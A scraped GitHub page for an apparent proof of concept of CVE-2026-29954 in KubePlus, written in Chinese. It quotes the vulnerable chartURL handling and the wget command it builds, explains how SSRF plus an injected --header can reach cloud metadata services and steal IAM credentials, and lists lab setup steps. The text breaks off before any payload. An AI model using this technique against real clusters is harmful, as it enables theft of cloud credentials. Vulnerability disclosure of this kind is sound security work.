b0b0haha/CVE-2026-29954
GitHub: b0b0haha/CVE-2026-29954
针对 KubePlus ResourceComposition 组件的 SSRF 与 wget 命令注入组合漏洞的完整 PoC,演示如何通过 HTTP 头注入绕过云元数据服务访问限制并窃取 IAM 凭证。
Stars: 0 | Forks: 0
# KubePlus ResourceComposition ChartURL SSRF + Header 注入
该漏洞存在于 KubePlus 的 ResourceComposition 资源处理组件中,允许拥有 Provider 权限的攻击者通过构造恶意的 chartURL 参数利用 SSRF 访问内部服务,并通过 wget 命令注入任意 HTTP 请求头。这使得攻击者能够访问需要特定请求头的云元数据服务(例如 GCP 需要 `Metadata-Flavor: Google` 请求头),从而窃取 IAM 凭证。报告建议的 CWE:CWE-918(服务器端请求伪造)。
## 概述
KubePlus mutating webhook 和 kubeconfiggenerator 组件在处理 ResourceComposition 资源的 chartURL 字段时存在 SSRF 漏洞。该字段仅进行了 URL 编码,并未验证目标地址。更严重的是,当 kubeconfiggenerator 使用 wget 下载 chart 时,chartURL 被直接拼接到命令中,允许攻击者注入 wget 的 `--header` 选项,从而实现任意 HTTP 请求头注入。
## 详情
### 漏洞代码位置
**SSRF 入口点** - `mutating-webhook/utils.go:986-995`:
```
func LintChart(chartURL string) []byte {
encodedChartURL := url.QueryEscape(chartURL)
args := fmt.Sprintf("chartURL=%s", encodedChartURL)
var url1 string
url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
body := queryKubeDiscoveryService(url1)
return body
}
```
**Header 注入点** - `deploy/kubeconfiggenerator.py:552-558`:
```
def download_and_untar_chart(chartLoc, chartName):
if chartLoc.startswith("https"):
charttgz = chartName + ".tgz"
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
```
chartURL 被直接拼接到 wget 命令中,允许攻击者注入 `--header` 选项。
### 漏洞分析
1. **SSRF**:chartURL 字段来自用户输入,仅进行了 URL 编码,未验证目标是否为内部网络或元数据服务
2. **命令注入(Header)**:wget 命令直接拼接 chartURL,允许注入 wget 命令行选项
3. **Header 注入**:通过注入 `--header` 选项,可以添加任意 HTTP 请求头
## PoC
### 环境搭建
1. 创建 Kind 集群:
```
kind create cluster --name kubeplus-test
```
2. 安装 KubePlus v4.2.0:
```
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
```
3. 生成 provider kubeconfig:
```
python3 provider-kubeconfig.py create default
```
4. 部署回调服务器:
```
kubectl apply -f - <
标签:ChartURL, CISA项目, CWE-918, Header Injection, Helm Chart, HTTP头注入, IAM凭证窃取, Kubeconfiggenerator, KubePlus, Mutating Webhook, PoC, Provider权限, SSRF, Wget, 云元数据攻击, 命令注入, 子域名突变, 日志审计, 暴力破解, 服务器端请求伪造, 漏洞分析, 路径探测, 逆向工具